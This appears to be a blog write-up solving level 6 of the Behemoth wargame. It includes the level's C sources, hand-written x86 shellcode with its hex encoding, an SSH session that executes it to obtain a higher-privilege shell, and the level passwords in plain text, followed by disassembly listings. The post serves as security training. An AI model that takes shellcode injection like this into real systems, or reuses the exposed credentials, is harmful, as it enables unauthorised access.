behemoth - 06

/* behemoth6.c */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
	FILE *fp;
	char *buf;

	fp = popen("/behemoth/behemoth6_reader", "r");
	if (fp == NULL) {
		puts("Failed to create pipe.");
		exit(0);
	}
	
	buf = (char *)malloc(10);
	fread(buf, 10, 1, fp);
	pclose(fp);

	if (strcmp(buf, "HelloKitty")) {
		puts("Incorrect output.");
		return 0;
	}

	puts("Correct.");
	execl("/bin/sh", "sh", NULL);

	return 0;
}


/* behemoth6_reader.c */

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
	FILE *fp;	/* 0x20 */
	int fsize;	/* 0x24 */
	void (*func)(void);	/* 0x2c */
	char *buf;	/* 0x28 */
	int i;		/* 0x1c */

	fp = fopen("shellcode.txt", "r");
	if (fp == NULL) {
		puts("Couldn't open shellcode.txt!");
		return 0;
	}

	fseek(fp, 0, SEEK_END);
	fsize = ftell(fp);
	rewind(fp);

	buf = (char *)malloc(fsize);
	fread(buf, fsize, 1, fp);
	fclose(fp);

	i = 0;
	while (i < fsize) {
		if (buf[i] == 0x0b) {
			puts("Write your own shellcode.");
			exit(1);
		}
		i++;
	}
	func = (void (*)(void))buf;
	(*func)();

	return 0;
}

; shellcode.asm

BITS 32

global _start
section .text

_start:
	push 0x04	; write
	pop eax         ; set SYS_WRITE to eax

	xor ebx,ebx
	inc ebx

	xor esi, esi    ; clean esi
	push esi        ; esi is zero

	push 0x79747469 ; push 'itty <--'
	push 0x4b6f6c6c ; push 'lloK <--'
	push 0x65485555	; push 'HeUU <--'

	mov ecx, esp
	inc ecx
	inc ecx

	mov edx,eax
	add edx,eax
	inc edx
	inc edx

	int 0x80

栈环境



root@today:~# nasm -f elf32 shellcode.asm -g -F stabs -o shellcode.o

root@today:~# ld -o shellcode shellcode.o -g

root@today:~# ./shellcode 
HelloKittySegmentation fault

root@today:~# for i in $(objdump -d shellcode.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
\x6a\x04\x58\x31\xdb\x43\x31\xf6\x56\x68\x69\x74\x74\x79\x68\x6c\x6c\x6f\x4b\x68\x55\x55\x48\x65\x89\xe1\x41\x41\x89\xc2\x01\xc2\x42\x42\xcd\x80

root@today:~# ssh behemoth6@178.79.134.250

behemoth6@178.79.134.250's password: mayiroeche

behemoth6@melinda:~$ cd /tmp

behemoth6@melinda:/tmp$ mkdir shui6

behemoth6@melinda:/tmp$ cd shui6

behemoth6@melinda:/tmp/shui6$ python -c 'print "\x6a\x04\x58\x31\xdb\x43\x31\xf6\x56\x68\x69\x74\x74\x79\x68\x6c\x6c\x6f\x4b\x68\x55\x55\x48\x65\x89\xe1\x41\x41\x89\xc2\x01\xc2\x42\x42\xcd\x80"' > shellcode.txt

behemoth6@melinda:/tmp/shui6$ /behemoth/behemoth6
Segmentation fault
Correct.
$ whoami
behemoth7
$ cat /etc/behemoth_pass/behemoth7
baquoxuafo
$ exit


behemoth6.S

   ┌─────────────────────────────────────────────────────────────────────────────────┐
   │0x804857d <main>        push   %ebp                                              │
   │0x804857e <main+1>      mov    %esp,%ebp                                         │
   │0x8048580 <main+3>      and    $0xfffffff0,%esp                                  │
   │0x8048583 <main+6>      sub    $0x20,%esp                                        │
   │0x8048586 <main+9>      movl   $0x80486f0,0x4(%esp)                              │
   │0x804858e <main+17>     movl   $0x80486f2,(%esp)                                 │
   │0x8048595 <main+24>     call   0x80483f0 <popen@plt>                             │
   │0x804859a <main+29>     mov    %eax,0x18(%esp)                                   │
   │0x804859e <main+33>     cmpl   $0x0,0x18(%esp)                                   │
   │0x80485a3 <main+38>     jne    0x80485bd <main+64>                               │
   │0x80485a5 <main+40>     movl   $0x804870d,(%esp)                                 │
   │0x80485ac <main+47>     call   0x8048420 <puts@plt>                              │
   │0x80485b1 <main+52>     movl   $0x0,(%esp)                                       │
   │0x80485b8 <main+59>     call   0x8048440 <exit@plt>                              │
   │0x80485bd <main+64>     movl   $0xa,(%esp)                                       │
   │0x80485c4 <main+71>     call   0x8048410 <malloc@plt>                            │
   │0x80485c9 <main+76>     mov    %eax,0x1c(%esp)                                   │
   │0x80485cd <main+80>     mov    0x18(%esp),%eax                                   │
   │0x80485d1 <main+84>     mov    %eax,0xc(%esp)                                    │
   │0x80485d5 <main+88>     movl   $0x1,0x8(%esp)                                    │
   │0x80485dd <main+96>     movl   $0xa,0x4(%esp)                                    │
   │0x80485e5 <main+104>    mov    0x1c(%esp),%eax                                   │
   │0x80485e9 <main+108>    mov    %eax,(%esp)                                       │
   │0x80485ec <main+111>    call   0x8048400 <fread@plt>                             │
   │0x80485f1 <main+116>    mov    0x18(%esp),%eax                                   │
   │0x80485f5 <main+120>    mov    %eax,(%esp)                                       │
   │0x80485f8 <main+123>    call   0x8048450 <pclose@plt>                            │
   │0x80485fd <main+128>    movl   $0x8048724,0x4(%esp)                              │
   │0x8048605 <main+136>    mov    0x1c(%esp),%eax                                   │
   │0x8048609 <main+140>    mov    %eax,(%esp)                                       │
   │0x804860c <main+143>    call   0x80483e0 <strcmp@plt>                            │
   │0x8048611 <main+148>    test   %eax,%eax                                         │
   │0x8048613 <main+150>    jne    0x804863f <main+194>                              │
   │0x8048615 <main+152>    movl   $0x804872f,(%esp)                                 │
   │0x804861c <main+159>    call   0x8048420 <puts@plt>                              │
   │0x8048621 <main+164>    movl   $0x0,0x8(%esp)                                    │
   │0x8048629 <main+172>    movl   $0x8048738,0x4(%esp)                              │
   │0x8048631 <main+180>    movl   $0x804873b,(%esp)                                 │
   │0x8048638 <main+187>    call   0x8048470 <execl@plt>                             │
   │0x804863d <main+192>    jmp    0x804864b <main+206>                              │
   │0x804863f <main+194>    movl   $0x8048743,(%esp)                                 │
   │0x8048646 <main+201>    call   0x8048420 <puts@plt>                              │
   │0x804864b <main+206>    mov    $0x0,%eax                                         │
   │0x8048650 <main+211>    leave                                                    │
   │0x8048651 <main+212>    ret                                                      │
   └─────────────────────────────────────────────────────────────────────────────────┘

behemoth6_reader.S

   ┌─────────────────────────────────────────────────────────────────────────────────┐
   │0x80485ad <main>        push   %ebp                                              │
   │0x80485ae <main+1>      mov    %esp,%ebp                                         │
   │0x80485b0 <main+3>      and    $0xfffffff0,%esp                                  │
   │0x80485b3 <main+6>      sub    $0x30,%esp                                        │
   │0x80485b6 <main+9>      movl   $0x8048750,0x4(%esp)                              │
   │0x80485be <main+17>     movl   $0x8048752,(%esp)                                 │
   │0x80485c5 <main+24>     call   0x80484a0 <fopen@plt>                             │
   │0x80485ca <main+29>     mov    %eax,0x20(%esp)                                   │
   │0x80485ce <main+33>     cmpl   $0x0,0x20(%esp)                                   │
   │0x80485d3 <main+38>     jne    0x80485e6 <main+57>                               │
   │0x80485d5 <main+40>     movl   $0x8048760,(%esp)                                 │
   │0x80485dc <main+47>     call   0x8048450 <puts@plt>                              │
   │0x80485e1 <main+52>     jmp    0x80486ae <main+257>                              │
   │0x80485e6 <main+57>     movl   $0x2,0x8(%esp)                                    │
   │0x80485ee <main+65>     movl   $0x0,0x4(%esp)                                    │
   │0x80485f6 <main+73>     mov    0x20(%esp),%eax                                   │
   │0x80485fa <main+77>     mov    %eax,(%esp)                                       │
   │0x80485fd <main+80>     call   0x8048420 <fseek@plt>                             │
   │0x8048602 <main+85>     mov    0x20(%esp),%eax                                   │
   │0x8048606 <main+89>     mov    %eax,(%esp)                                       │
   │0x8048609 <main+92>     call   0x8048490 <ftell@plt>                             │
   │0x804860e <main+97>     mov    %eax,0x24(%esp)                                   │
   │0x8048612 <main+101>    mov    0x20(%esp),%eax                                   │
   │0x8048616 <main+105>    mov    %eax,(%esp)                                       │
   │0x8048619 <main+108>    call   0x8048410 <rewind@plt>                            │
   │0x804861e <main+113>    mov    0x24(%esp),%eax                                   │
   │0x8048622 <main+117>    mov    %eax,(%esp)                                       │
   │0x8048625 <main+120>    call   0x8048440 <malloc@plt>                            │
   │0x804862a <main+125>    mov    %eax,0x28(%esp)                                   │
   │0x804862e <main+129>    mov    0x24(%esp),%eax                                   │
   │0x8048632 <main+133>    mov    0x20(%esp),%edx                                   │
   │0x8048636 <main+137>    mov    %edx,0xc(%esp)                                    │
   │0x804863a <main+141>    movl   $0x1,0x8(%esp)                                    │
   │0x8048642 <main+149>    mov    %eax,0x4(%esp)                                    │
   │0x8048646 <main+153>    mov    0x28(%esp),%eax                                   │
   │0x804864a <main+157>    mov    %eax,(%esp)                                       │
   │0x804864d <main+160>    call   0x8048430 <fread@plt>                             │
   │0x8048652 <main+165>    mov    0x20(%esp),%eax                                   │
   │0x8048656 <main+169>    mov    %eax,(%esp)                                       │
   │0x8048659 <main+172>    call   0x8048400 <fclose@plt>                            │
   │0x804865e <main+177>    movl   $0x0,0x1c(%esp)                                   │
   │0x8048666 <main+185>    jmp    0x8048696 <main+233>                              │
   │0x8048668 <main+187>    mov    0x1c(%esp),%edx                                   │
   │0x804866c <main+191>    mov    0x28(%esp),%eax                                   │
   │0x8048670 <main+195>    add    %edx,%eax                                         │
   │0x8048672 <main+197>    movzbl (%eax),%eax                                       │
   │0x8048675 <main+200>    cmp    $0xb,%al                                          │
   │0x8048677 <main+202>    jne    0x8048691 <main+228>                              │
   │0x8048679 <main+204>    movl   $0x804877d,(%esp)                                 │
   │0x8048680 <main+211>    call   0x8048450 <puts@plt>                              │
   │0x8048685 <main+216>    movl   $0x1,(%esp)                                       │
   │0x804868c <main+223>    call   0x8048470 <exit@plt>                              │
   │0x8048691 <main+228>    addl   $0x1,0x1c(%esp)                                   │
   │0x8048696 <main+233>    mov    0x1c(%esp),%eax                                   │
   │0x804869a <main+237>    cmp    0x24(%esp),%eax                                   │
   │0x804869e <main+241>    jl     0x8048668 <main+187>                              │
   │0x80486a0 <main+243>    mov    0x28(%esp),%eax                                   │
   │0x80486a4 <main+247>    mov    %eax,0x2c(%esp)                                   │
   │0x80486a8 <main+251>    mov    0x2c(%esp),%eax                                   │
   │0x80486ac <main+255>    call   *%eax                                             │
   │0x80486ae <main+257>    mov    $0x0,%eax                                         │
   │0x80486b3 <main+262>    leave                                                    │
   │0x80486b4 <main+263>    ret                                                      │
   └─────────────────────────────────────────────────────────────────────────────────┘


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值